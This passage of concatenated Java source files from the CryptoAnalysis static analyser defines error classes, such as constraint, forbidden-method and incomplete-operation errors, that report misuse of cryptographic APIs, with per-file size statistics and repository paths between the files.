(!declaringClass.equals(other.declaringClass)) return false; if (invokeMethod == null) { if (other.invokeMethod != null) return false; } else if (!invokeMethod.equals(other.invokeMethod)) return false; if (outerMethod == null) { if (other.outerMethod != null) return false; } else if (!outerMethod.equals(other.outerMethod)) return false; if (rule == null) { if (other.rule != null) return false; } else if (!rule.equals(other.rule)) return false; return true; } }
2,664
28.285714
92
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ConstraintError.java
package crypto.analysis.errors; import java.util.List; import java.util.Set; import com.google.common.base.CharMatcher; import boomerang.jimple.Statement; import boomerang.jimple.Val; import crypto.analysis.IAnalysisSeed; import crypto.extractparameter.CallSiteWithExtractedValue; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLArithmeticConstraint; import crypto.rules.CrySLComparisonConstraint; import crypto.rules.CrySLComparisonConstraint.CompOp; import crypto.rules.CrySLConstraint; import crypto.rules.CrySLPredicate; import crypto.rules.CrySLRule; import crypto.rules.CrySLSplitter; import crypto.rules.CrySLValueConstraint; import soot.Value; import soot.jimple.AssignStmt; import soot.jimple.Constant; import soot.jimple.Stmt; import soot.jimple.internal.AbstractInvokeExpr; import sync.pds.solver.nodes.Node; public class ConstraintError extends ErrorWithObjectAllocation{ private ISLConstraint brokenConstraint; private CallSiteWithExtractedValue callSiteWithParamIndex; public ConstraintError(CallSiteWithExtractedValue cs, CrySLRule rule, IAnalysisSeed objectLocation, ISLConstraint con) { super(cs.getCallSite().stmt(), rule, objectLocation); this.callSiteWithParamIndex = cs; this.brokenConstraint = con; } public ISLConstraint getBrokenConstraint() { return brokenConstraint; } public void accept(ErrorVisitor visitor){ visitor.visit(this); } @Override public Set<Node<Statement, Val>> getDataFlowPath() { return callSiteWithParamIndex.getVal().getDataFlowPath(); } public CallSiteWithExtractedValue getCallSiteWithExtractedValue() { return callSiteWithParamIndex; } @Override public String toErrorMarkerString() { return callSiteWithParamIndex.toString() + evaluateBrokenConstraint(brokenConstraint); } private String evaluateBrokenConstraint(final ISLConstraint brokenConstraint) { StringBuilder msg = new StringBuilder(); if (brokenConstraint instanceof CrySLPredicate) { CrySLPredicate brokenPred = (CrySLPredicate) brokenConstraint; switch (brokenPred.getPredName()) { case "neverTypeOf": msg.append(" should never be of type "); msg.append(brokenPred.getParameters().get(1).getName()); msg.append("."); break; case "notHardCoded": msg.append(" should never be hardcoded."); break; } } else if (brokenConstraint instanceof CrySLValueConstraint) { return evaluateValueConstraint((CrySLValueConstraint) brokenConstraint); } else if (brokenConstraint instanceof CrySLArithmeticConstraint) { final CrySLArithmeticConstraint brokenArthConstraint = (CrySLArithmeticConstraint) brokenConstraint; msg.append(brokenArthConstraint.getLeft()); msg.append(" "); msg.append(brokenArthConstraint.getOperator()); msg.append(" "); msg.append(brokenArthConstraint.getRight()); } else if (brokenConstraint instanceof CrySLComparisonConstraint) { final CrySLComparisonConstraint brokenCompCons = (CrySLComparisonConstraint) brokenConstraint; msg.append("Variable "); msg.append(brokenCompCons.getLeft().getLeft().getName()); msg.append("must be "); msg.append(evaluateCompOp(brokenCompCons.getOperator())); msg.append(brokenCompCons.getRight().getLeft().getName()); } else if (brokenConstraint instanceof CrySLConstraint) { final CrySLConstraint crySLConstraint = (CrySLConstraint) brokenConstraint; final ISLConstraint leftSide = crySLConstraint.getLeft(); final ISLConstraint rightSide = crySLConstraint.getRight(); switch (crySLConstraint.getOperator()) { case and: msg.append(evaluateBrokenConstraint(leftSide)); msg.append(" or "); msg.append(evaluateBrokenConstraint(rightSide)); break; case implies: msg.append(evaluateBrokenConstraint(rightSide)); break; case or: msg.append(evaluateBrokenConstraint(leftSide)); msg.append(" and "); msg.append(evaluateBrokenConstraint(rightSide)); break; default: break; } } return msg.toString(); } private String evaluateCompOp(CompOp operator) { switch (operator) { case ge: return " at least "; case g: return " greater than "; case l: return " lesser than "; case le: return " at most "; default: return "equal to"; } } private String evaluateValueConstraint(final CrySLValueConstraint brokenConstraint) { StringBuilder msg = new StringBuilder(); msg.append(" should be any of "); CrySLSplitter splitter = brokenConstraint.getVar().getSplitter(); if (splitter != null) { Stmt stmt = callSiteWithParamIndex.getVal().stmt().getUnit().get(); String[] splitValues = new String[] { "" }; if (stmt instanceof AssignStmt) { Value rightSide = ((AssignStmt) stmt).getRightOp(); if (rightSide instanceof Constant) { splitValues = filterQuotes(rightSide.toString()).split(splitter.getSplitter()); } else if (rightSide instanceof AbstractInvokeExpr) { List<Value> args = ((AbstractInvokeExpr) rightSide).getArgs(); for (Value arg : args) { if (arg.getType().toQuotedString().equals(brokenConstraint.getVar().getJavaType())) { splitValues = filterQuotes(arg.toString()).split(splitter.getSplitter()); break; } } } } else { splitValues = filterQuotes(stmt.getInvokeExpr().getUseBoxes().get(0).getValue().toString()).split(splitter.getSplitter()); } if (splitValues.length >= splitter.getIndex()) { for (int i = 0; i < splitter.getIndex(); i++) { msg.append(splitValues[i]); msg.append(splitter.getSplitter()); } } } msg.append("{"); for (final String val : brokenConstraint.getValueRange()) { if (val.isEmpty()) { msg.append("Empty String"); } else { msg.append(val); } msg.append(", "); } msg.delete(msg.length() - 2, msg.length()); return msg.append('}').toString(); } public static String filterQuotes(final String dirty) { return CharMatcher.anyOf("\"").removeFrom(dirty); } @Override public int hashCode() { final int paramIndex = callSiteWithParamIndex.getCallSite().getIndex(); final Value parameterValue = callSiteWithParamIndex.getVal().getValue(); final int prime = 31; int result = super.hashCode(); result = prime * result + paramIndex; result = prime * result + ((parameterValue == null) ? 0 : parameterValue.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (!super.equals(obj)) return false; if (getClass() != obj.getClass()) return false; ConstraintError other = (ConstraintError) obj; if (callSiteWithParamIndex.getCallSite().getIndex() != other.callSiteWithParamIndex.getCallSite().getIndex()) { return false; } if (callSiteWithParamIndex.getVal().getValue() == null) { if (other.callSiteWithParamIndex.getVal().getValue() != null) return false; } else if (!callSiteWithParamIndex.getVal().getValue().equals(other.callSiteWithParamIndex.getVal().getValue())) return false; return true; } }
7,023
31.82243
126
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ErrorVisitor.java
package crypto.analysis.errors; public interface ErrorVisitor { public void visit(ConstraintError constraintError); public void visit(ForbiddenMethodError abstractError); public void visit(IncompleteOperationError incompleteOperationError); public void visit(TypestateError typestateError); public void visit(RequiredPredicateError predicateError); public void visit(ImpreciseValueExtractionError predicateError); public void visit(NeverTypeOfError predicateError); public void visit(PredicateContradictionError predicateContradictionError); public void visit(HardCodedError hardcodedError); }
604
42.214286
76
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ErrorWithObjectAllocation.java
package crypto.analysis.errors; import java.util.Set; import boomerang.jimple.Statement; import boomerang.jimple.Val; import crypto.analysis.IAnalysisSeed; import crypto.rules.CrySLRule; import sync.pds.solver.nodes.Node; public abstract class ErrorWithObjectAllocation extends AbstractError{ private final IAnalysisSeed objectAllocationLocation; public ErrorWithObjectAllocation(Statement errorLocation, CrySLRule rule, IAnalysisSeed objectAllocationLocation) { super(errorLocation, rule); this.objectAllocationLocation = objectAllocationLocation; } public IAnalysisSeed getObjectLocation(){ return objectAllocationLocation; } protected String getObjectType() { if(this.objectAllocationLocation.asNode().fact() != null && this.objectAllocationLocation.asNode().fact().value() != null) return " on object of type " + this.objectAllocationLocation.asNode().fact().value().getType(); return ""; } public Set<Node<Statement, Val>> getDataFlowPath(){ return objectAllocationLocation.getDataFlowPath(); } }
1,034
30.363636
124
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ForbiddenMethodError.java
package crypto.analysis.errors; import java.util.Collection; import java.util.Set; import com.google.common.base.Joiner; import com.google.common.collect.Sets; import boomerang.jimple.Statement; import crypto.rules.CrySLRule; import soot.SootMethod; public class ForbiddenMethodError extends AbstractError { private Collection<SootMethod> alternatives; private SootMethod calledMethod; private Set<String> alternativesSet = Sets.newHashSet(); public ForbiddenMethodError(Statement errorLocation, CrySLRule rule, SootMethod calledMethod, Collection<SootMethod> collection) { super(errorLocation, rule); this.calledMethod = calledMethod; this.alternatives = collection; for (SootMethod method : alternatives) { this.alternativesSet.add(method.getSignature()); } } public Collection<SootMethod> getAlternatives() { return alternatives; } public void accept(ErrorVisitor visitor) { visitor.visit(this); } public SootMethod getCalledMethod() { return calledMethod; } @Override public String toErrorMarkerString() { final StringBuilder msg = new StringBuilder(); msg.append("Detected call to forbidden method "); msg.append(getCalledMethod().getSubSignature()); msg.append(" of class " + getCalledMethod().getDeclaringClass()); if (!getAlternatives().isEmpty()) { msg.append(". Instead, call method "); Collection<SootMethod> subSignatures = getAlternatives(); msg.append(Joiner.on(", ").join(subSignatures)); msg.append("."); } return msg.toString(); } @Override public int hashCode() { final int prime = 31; int result = super.hashCode(); result = prime * result + ((alternativesSet == null) ? 0 : alternativesSet.hashCode()); result = prime * result + ((calledMethod == null) ? 0 : calledMethod.getSignature().hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (!super.equals(obj)) return false; if (getClass() != obj.getClass()) return false; ForbiddenMethodError other = (ForbiddenMethodError) obj; if (alternativesSet == null) { if (other.alternativesSet != null) return false; } else if (!alternativesSet.equals(other.alternativesSet)) return false; if (calledMethod == null) { if (other.calledMethod != null) return false; } else if (!calledMethod.getSignature().equals(other.calledMethod.getSignature())) return false; return true; } }
2,443
25.565217
98
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/HardCodedError.java
package crypto.analysis.errors; import crypto.analysis.IAnalysisSeed; import crypto.extractparameter.CallSiteWithExtractedValue; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLRule; public class HardCodedError extends ConstraintError { public HardCodedError(CallSiteWithExtractedValue cs, CrySLRule rule, IAnalysisSeed objectLocation, ISLConstraint con) { super(cs, rule, objectLocation, con); } }
424
27.333333
120
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/IError.java
package crypto.analysis.errors; public interface IError { public void accept(ErrorVisitor visitor); }
107
12.5
42
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/ImpreciseValueExtractionError.java
package crypto.analysis.errors; import boomerang.jimple.Statement; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLRule; public class ImpreciseValueExtractionError extends AbstractError { private ISLConstraint violatedConstraint; public ImpreciseValueExtractionError(ISLConstraint violatedCons, Statement errorLocation, CrySLRule rule) { super(errorLocation, rule); this.violatedConstraint = violatedCons; } @Override public void accept(ErrorVisitor visitor) { visitor.visit(this); } public ISLConstraint getViolatedConstraint() { return violatedConstraint; } @Override public String toErrorMarkerString() { StringBuilder msg = new StringBuilder("Constraint "); msg.append(violatedConstraint); msg.append(" could not be evaluted due to insufficient information."); return msg.toString(); } @Override public int hashCode() { final int prime = 31; int result = super.hashCode(); result = prime * result + ((violatedConstraint == null) ? 0 : violatedConstraint.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (!super.equals(obj)) return false; if (getClass() != obj.getClass()) return false; ImpreciseValueExtractionError other = (ImpreciseValueExtractionError) obj; if (violatedConstraint == null) { if (other.violatedConstraint != null) return false; } else if (!violatedConstraint.equals(other.violatedConstraint)) return false; return true; } }
1,509
24.59322
108
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/IncompleteOperationError.java
package crypto.analysis.errors; import java.util.Collection; import java.util.HashSet; import java.util.Set; import com.google.common.base.Joiner; import com.google.common.base.Optional; import com.google.common.collect.Sets; import boomerang.jimple.Statement; import boomerang.jimple.Val; import crypto.analysis.IAnalysisSeed; import crypto.rules.CrySLRule; import soot.SootMethod; import soot.jimple.InvokeExpr; import soot.jimple.Stmt; /** This class defines-IncompleteOperationError: * *Found when the usage of an object may be incomplete * *For example a Cipher object may be initialized but never been used for encryption or decryption, this may render the code dead. *This error heavily depends on the computed call graph (CHA by default) * * */ public class IncompleteOperationError extends ErrorWithObjectAllocation{ private Val errorVariable; private Collection<SootMethod> expectedMethodCalls; private Set<String> expectedMethodCallsSet = Sets.newHashSet(); public IncompleteOperationError(Statement errorLocation, Val errorVariable, CrySLRule rule, IAnalysisSeed objectLocation, Collection<SootMethod> expectedMethodsToBeCalled) { super(errorLocation, rule, objectLocation); this.errorVariable = errorVariable; this.expectedMethodCalls = expectedMethodsToBeCalled; for (SootMethod method : expectedMethodCalls) { this.expectedMethodCallsSet.add(method.getSignature()); } } public Val getErrorVariable() { return errorVariable; } public Collection<SootMethod> getExpectedMethodCalls() { return expectedMethodCalls; } public void accept(ErrorVisitor visitor){ visitor.visit(this); } @Override public String toErrorMarkerString() { Collection<SootMethod> expectedCalls = getExpectedMethodCalls(); final StringBuilder msg = new StringBuilder(); msg.append("Operation"); msg.append(getObjectType()); msg.append(" object not completed. Expected call to "); final Set<String> altMethods = new HashSet<>(); for (final SootMethod expectedCall : expectedCalls) { if (stmtInvokesExpectedCallName(expectedCall.getName())){ altMethods.add(expectedCall.getSignature().replace("<", "").replace(">", "")); } else { altMethods.add(expectedCall.getName().replace("<", "").replace(">", "")); } } msg.append(Joiner.on(", ").join(altMethods)); return msg.toString(); } /** * This method checks whether the statement at which the error is located already calls a method with the same name. * This occurs when a call to the method with the correct name, but wrong signature is invoked. */ private boolean stmtInvokesExpectedCallName(String expectedCallName){ Statement errorLocation = getErrorLocation(); if (errorLocation.isCallsite()){ Optional<Stmt> stmtOptional = errorLocation.getUnit(); if (stmtOptional.isPresent()){ Stmt stmt = stmtOptional.get(); if (stmt.containsInvokeExpr()){ InvokeExpr call = stmt.getInvokeExpr(); SootMethod calledMethod = call.getMethod(); if (calledMethod.getName().equals(expectedCallName)){ return true; } } } } return false; } @Override public int hashCode() { final int prime = 31; int result = super.hashCode(); result = prime * result + ((expectedMethodCallsSet == null) ? 0 : expectedMethodCallsSet.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (!super.equals(obj)) return false; if (getClass() != obj.getClass()) return false; IncompleteOperationError other = (IncompleteOperationError) obj; if (expectedMethodCalls == null) { if (other.expectedMethodCalls != null) return false; } else if (expectedMethodCallsSet != other.expectedMethodCallsSet) return false; return true; } private int expectedMethodCallsHashCode(Collection<SootMethod> expectedMethodCalls) { Set<String> expectedMethodCallsSet = Sets.newHashSet(); for (SootMethod method : expectedMethodCalls) { expectedMethodCallsSet.add(method.getSignature()); } return expectedMethodCallsSet.hashCode(); } }
4,096
29.348148
129
java